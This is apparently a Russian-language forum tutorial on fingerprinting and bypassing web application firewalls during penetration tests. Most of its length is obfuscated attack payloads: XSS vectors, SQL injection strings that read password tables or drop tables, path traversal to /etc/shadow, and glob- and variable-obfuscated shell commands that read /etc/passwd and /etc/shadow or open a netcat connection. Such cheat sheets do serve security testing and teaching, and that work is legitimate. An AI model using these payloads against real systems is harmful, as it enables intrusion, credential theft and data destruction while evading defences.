Vander
Команда форума
- 10.11.2019
- 495
- 1 158
Брандмауэр веб-приложений (WAF) - это набор мониторов и фильтров, предназначенных для обнаружения и блокировки сетевых атак на веб-приложение. WAF относятся к прикладному уровню модели OSI.
Брандмауэр веб-приложений используется как средство безопасности. В режиме реального времени он решает, предоставить или запретить доступ.
Компании должны быть проинформированы о том, что WAF не является полноценным средством защиты информации. Обычно он включается в общую систему безопасности веб-приложения с другими элементами, такими как компоненты, которые решают проблемы протоколов, отличных от HTTP / HTTPS, систем контроля инцидентов и служб защиты от мошенничества.
При проведении тестирования на проникновение, прежде всего, мы определяем реальный IP-адрес, определяем поставщика WAF и пытаемся обойти WAF. После прорыва защиты начинается самое захватывающее. Все, что клиент хотел спрятать за WAF, дает возможность для дальнейшего тестирования на проникновение.
Сложно ли обойти такую защиту?
Шокирует то, что каждый второй сайт уязвим для этого метода и техники обхода. Поскольку поставщики WAF пытаются поддерживать статические списки регулярных выражений для запуска WAF, хакеры находят новые способы обхода этой защиты, маскируя полезные данные.
Замков, которые нельзя сломать ломом, практически нет. Таким образом, мы видим бесконечную игру в кошки-мышки, хакеров против WAF.
Зачем использовать WAF?
- Глубокая защита
- Обнаруживает и блокирует атаки на уязвимые веб-приложения
- Защищает от множества уязвимостей
- Защищает веб-среду компании
Определение реального IP сайта:
- Используем shodan.io или censys.io
- Найдите записи SPF и записи TXT
- Записи SPF и TXT могут иметь IP-адрес точки входа без CloudFlare
- Также можно проверить securitytrails.com в поле Historical данные могут показать оригинальный IP в старых записях
- WAF используют стандартные порты 80, 443, 8000, 8008, 8080 и 8088
- WAF устанавливают свои собственные файлы cookie в запросах
- WAF ассоциируются с отдельными заголовками
- WAF раскрываются в заголовке сервера
- WAF раскрываются в содержимом ответа
- WAF отвечают уникальными кодами ответа на злонамеренные запросы
- Отправьте стандартный запрос GET из браузера, перехватите и запишите заголовки ответа (определенные файлы cookie)
- Отправьте запрос из командной строки (например, cURL), а затем проверьте содержимое и заголовки ответа
- Отправляйте запросы GET на случайные открытые порты и проверяйте баннеры, которые могут раскрыть провайдера WAF
- Попробуйте некоторые полезные нагрузки в виде SQL-инъекций, например: ”or1 = 1 - чтобы попробовать логин
- Попробуйте использовать полезные нагрузки XSS, такие как <script> confirm () </script>, в некоторых полях ввода
- Попробуйте добавить ../../../etc/passwd к случайному параметру в URL-адресе
- Добавьте некоторые полезные данные, такие как 'OR SLEEP (5) OR' в конце URL-адресов для любого случайного параметра
- Отправляйте GET-запросы с устаревшими протоколами, такими как HTTP / 0.9 (HTTP / 0.9 не поддерживает запросы типа POST)
- Проверяйте заголовок сервера при различных типах взаимодействий
- Отправьте на сервер необработанный созданный пакет FIN & RST и определите ответ
- Атаки по побочным каналам - изучите временное поведение содержимого запроса и ответа
Использование этих инструментов - лишь первый шаг к проверке того, что открыто для хакеров.
Инструменты для проверки и обхода WAF:
- w3af -фреймворк для аудита и атак на веб-приложения
- wafw00f - фингерпринтинг и аутентификация WAF
- BypassWAF - обход брандмауэров путем злоупотребления историей DNS. Этот инструмент будет искать старые записи DNS A и проверять, отвечает ли сервер для этого домена
- CloudFail - это инструмент тактической разведки, который пытается найти исходный IP-адрес за Cloudflare WAF
1. Техника переключения регистра
Комбинируйте символы верхнего и нижнего регистра для создания эффективных полезных нагрузок
Basic Request:
Код:
<ScrIpT>confirm()</sCRiPt>
Код:
<ScrIpT>confirm()</sCRiPt>
Код:
SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'
Код:
sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
Код:
http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4
Кодируйте обычные полезные данные с помощью % encoding/URL
Вы можете использовать Burp Suite. Он имеет встроенный инструмент кодировщика / декодера.
Blocked by WAF:
Код:
<Svg/x=">"/OnLoAD=confirm()//
Код:
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F
Код:
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
Код:
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
Код:
https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
Символы ASCII в кодировке Unicode дают нам отличные варианты обхода WAF. Кодируйте всю полезную нагрузку или ее часть для получения результатов.
Basic Request:
Код:
<marquee onstart=prompt()>
Код:
<marquee onstart=\u0070r\u06f\u006dpt()>
Код:
/?redir=http://google.com
Код:
/?redir=http://google。com (Unicode alternative)
Код:
<marquee loop=1 onfinish=alert()>x
Код:
<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
Код:
../../etc/shadow
Код:
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
Веб-приложения кодируют специальные символы в HTML. Кодирование и рендеринг соответственно. Базовые случаи обхода с числовой и общей кодировкой HTML.
Basic Request:
Код:
"><img src=x onerror=confirm()>
Код:
"><img src=x onerror=confirm()>
Код:
"><img src=x onerror=confirm()>
Такие правила часто имеют тенденцию отфильтровывать определенный тип кодирования. Такие фильтры можно обойти с помощью полезных данных смешанного кодирования. Новые строки и вкладки и дальнейшая обфускация.
Obfuscate Payload:
Код:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
Комментарии скрывают стандартные векторы полезной нагрузки. Различные полезные данные имеют разные способы обфускации.
Blocked by WAF:
Код:
<script>confirm()</script>
Код:
<!--><script>confirm/**/()/**/</script>
Код:
/?id=1+union+select+1,2--
Код:
/?id=1+un/**/ion+sel/**/ect+1,2--
Example in URL:
Код:
index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
Код:
index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
Фильтры брандмауэра веб-приложений обычно кодируют символы для защиты веб-приложения. Плохо разработанные фильтры (без фильтров рекурсии) можно обойти с помощью двойного кодирования.
Basic Request:
Код:
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Код:
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Код:
<script>confirm()</script>
Код:
%253Cscript%253Econfirm()%253C%252Fscript%253E
Глобальные шаблоны используются различными утилитами командной строки для работы с несколькими файлами. Мы можем изменить их для запуска системных команд.
Basic Request:
Код:
/bin/cat /etc/passwd
Код:
/???/??t /???/??ss??
Код:
/ ? t s
Код:
/bin/nc 127.0.0.1 443
Код:
/???/n? 2130706433 443
Код:
/ ? n [0-9]
Это позволяет нам создавать полезные данные, которые могут обходить многие фильтры и правила.
Basic Request:
Код:
<script>confirm()</script>
Код:
<script>eval('con'+'fi'+'rm()')</script>
Код:
/bin/cat /etc/shadow
Код:
/bi'n'''/c''at' /e'tc'/sh''ad'ow
Basic Request:
Код:
<iframe/onload='this["src"]="javascript:confirm()"';>
Код:
<iframe/onload='this["src"]="jav"+"as	cr"+"ipt:con"+"fir"+"m()"';>
Простые полезные данные легко фильтруются WAF. Добавление некоторых нежелательных символов помогает избежать обнаружения (только в определенных случаях).
Этот метод часто помогает запутать брандмауэры на основе регулярных выражений.
Basic Request:
Код:
<script>confirm()</script>
Код:
<script>+-+-1-+-+confirm()</script>
Код:
<BODY onload=confirm()>
Код:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
Код:
<a href=javascript;alert()>ClickMe
Код:
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
Многие WAF с фильтрацией на основе регулярных выражений эффективно блокируют множество попыток. Техника разрыва строки (CR и LF) может нарушить регулярное выражение брандмауэра и обойти его.
Basic Request:
Код:
<iframe src=javascript:confirm(hacker)">
Код:
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
Фильтры на основе неправильных регулярных выражений можно обойти использованием неинициализированных переменных bash. Такое значение равно нулю и действует как пустые строки.
Bash и Perl допускают такие интерпретации.
First Level Obfuscation: Normal
- Basic Request:
Код:/bin/cat /etc/shadow
- Obfuscate Payload:
Код:/bin/cat$u /etc/shadow$u
- Basic Request:
Код:/bin/cat /etc/shadow
- Obfuscate Payload:
Код:$u/bin$u/cat$u $u/etc$u/shadow$u
- Basic Request:
Код:/bin/cat /etc/passwd
- Obfuscate Payload:
Код:$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
Вкладки часто помогают обойти брандмауэры, особенно основанные на регулярных выражениях. Вкладки могут помочь сломать регулярное выражение WAF, когда регулярное выражение ожидает пробелы, а не табуляции.
Basic Request:
Код:
<IMG SRC="javascript:confirm();">
Код:
<IMG SRC=" javascript:confirm();">
Код:
<IMG SRC=" jav ascri pt:confirm ();">
Код:
http://test.com/test?id=1 union select 1,2,3
Код:
http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Код:
<iframe src=javascript:confirm()></iframe>
Код:
<iframe src=j	a	v	a	s	c	r	i	p	t	:c	o	n	f	i	r	m	%28	%29></iframe>
Атаки на токен - это попытка нарушить логику разделения запроса на токены с помощью средств защиты токенов. Взломщики токенов - это символы, позволяющие повлиять на соответствие между элементом строки и определенным токеном.
Наш запрос должен оставаться в силе при использовании взломщиков токенов.
Пример использования: неизвестный токен для токенизатора.
Our Payload:
Код:
?id=‘-sqlite_version() UNION SELECT passwords FROM users --
First Payload:
Код:
?id=12);DROP TABLE users --
Код:
?id=133) INTO OUTFILE ‘xxx’ --
Многие веб-приложения поддерживают разные типы кодировки и могут интерпретировать кодировку. Нам всегда нужно обфускировать полезную нагрузку в формат, не поддерживаемый WAF, но сервер может переправить нашу полезную нагрузку.
Случай IIS:
IIS 6, 7.5, 8 и 10 допускают интерпретацию символов IBM037.
Отправьте закодированные параметры с запросом:
Original Request:
Код:
POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users--
Код:
POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99
Подведем итог всему написанному выше:
- Всегда мыслите нестандартно
- Попробуйте разные методы кодирования, и некоторые из них будут работать
- Не поленитесь проверить записи DNS, так как только тогда вы добьетесь успеха в поиске ошибок.
- Не забывайте, что любую защиту можно обойти в веб-ресурсах и WAF не панацея от всех проблем
- Хакеры не дремлют и всегда ищут новые методы атаки на ваши ресурсы и получения прибыли
Спасибо за внимание, материал подготовлен специально для protey.net